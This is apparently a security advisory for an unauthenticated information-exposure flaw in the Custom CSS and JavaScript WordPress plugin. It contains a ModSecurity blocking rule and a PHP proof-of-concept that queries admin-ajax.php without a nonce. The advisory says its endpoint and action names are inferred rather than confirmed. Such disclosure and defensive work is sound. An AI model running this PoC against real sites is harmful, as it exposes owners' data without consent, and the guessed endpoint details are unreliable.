Atomic Edge analysis of CVE-2026-66683 (metadata-based): The Custom CSS and JavaScript WordPress plugin (versions up to and including 2.0.16) exposes sensitive information to unauthenticated attackers. The vulnerability has a CVSS score of 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N), indicating a network-based attack with low complexity and no required privileges. Successful exploitation leads to limited confidentiality impact. The plugin slug is custom-css-and-javascript, and no patched version is currently available.
Root Cause: Based on CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) and the description, the likely root cause is a missing authorization or capability check on a function or endpoint that returns sensitive data. In WordPress plugins, this commonly occurs when an AJAX action, REST API route, or direct file access lacks proper nonce verification, capability checks (e.g., current_user_can), or both. The vulnerable component could be an AJAX handler registered via wp_ajax_nopriv_ (for unauthenticated access) or a public REST endpoint that fails to restrict access. Without the source code diff, Atomic Edge research infers these patterns from the CWE classification and the plugin’s typical functionality. The exposure may involve user data, plugin configuration, or other sensitive settings stored in the database.
Exploitation: An unauthenticated attacker can send a crafted HTTP request to a vulnerable endpoint. Common attack vectors include the WordPress AJAX interface at /wp-admin/admin-ajax.php with a specific action parameter (e.g., action=custom_css_js_get_settings or similar), a REST API endpoint like /wp-json/custom-css-and-javascript/v1/settings, or direct access to a plugin PHP file such as /wp-content/plugins/custom-css-and-javascript/includes/export.php. The exact endpoint and parameter names are inferred from the plugin slug and typical WordPress coding conventions. The attacker does not need any authentication or nonce token, as the vulnerability bypasses these checks. The response may contain sensitive configuration data, user information, or other private details.
Remediation: The fix likely requires adding proper authorization checks to the vulnerable function or endpoint. This includes verifying user capabilities (e.g., current_user_can(‘manage_options’)) and implementing nonce verification for AJAX actions. For REST API endpoints, the permission_callback should be set to a function that checks for appropriate privileges. Direct file access should be blocked or protected with capability checks. Additionally, any sensitive data returned should be minimized or sanitized. Since no patched version is available, site owners should consider disabling or removing the plugin until a fix is released.
Impact: Successful exploitation allows unauthenticated attackers to extract sensitive user or configuration data from the WordPress site. This could include usernames, email addresses, API keys, or other plugin settings. The confidentiality impact is limited (C:L), but the exposed information could aid in further attacks, such as targeted phishing or privilege escalation if credentials are leaked. There is no direct impact on integrity or availability.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-66683 (metadata-based)
# This rule blocks unauthenticated access to a likely AJAX action for the Custom CSS and JavaScript plugin.
# The action name is inferred and may require adjustment based on the actual plugin code.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20266683,phase:2,deny,status:403,chain,msg:'CVE-2026-66683 via custom-css-and-javascript AJAX (information exposure)',severity:'CRITICAL',tag:'CVE-2026-66683'"
SecRule ARGS_POST:action "@rx ^(custom_css_js_get_settings|custom_css_js_get_data|custom_css_js_export)$" "chain"
SecRule &ARGS_POST:nonce "@eq 0" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-66683 - Custom CSS and JavaScript <= 2.0.16 - Unauthenticated Information Exposure
// This PoC attempts to exploit the vulnerability by sending an unauthenticated request to a likely AJAX endpoint.
// The exact action name and endpoint are inferred from the plugin slug and WordPress conventions.
// Adjust $target_url and $action_name as needed.
$target_url = 'http://example.com'; // Change to the target WordPress site
$action_name = 'custom_css_js_get_settings'; // Inferred action name, may vary
// Build the AJAX request
$url = $target_url . '/wp-admin/admin-ajax.php';
$data = array(
'action' => $action_name,
// No nonce or authentication parameters needed
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
// Execute the request
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo 'cURL error: ' . curl_error($ch) . "n";
} else {
echo "Response from $url:n";
echo $response . "n";
}
curl_close($ch);
// Alternative: Try REST API endpoint
// $rest_url = $target_url . '/wp-json/custom-css-and-javascript/v1/settings';
// $ch = curl_init($rest_url);
// curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// $response = curl_exec($ch);
// echo "REST API response:n$responsen";
// curl_close($ch);
// Note: This PoC is based on inference. The actual vulnerable endpoint may differ.
// Use responsibly and only on systems you own or have permission to test.
?>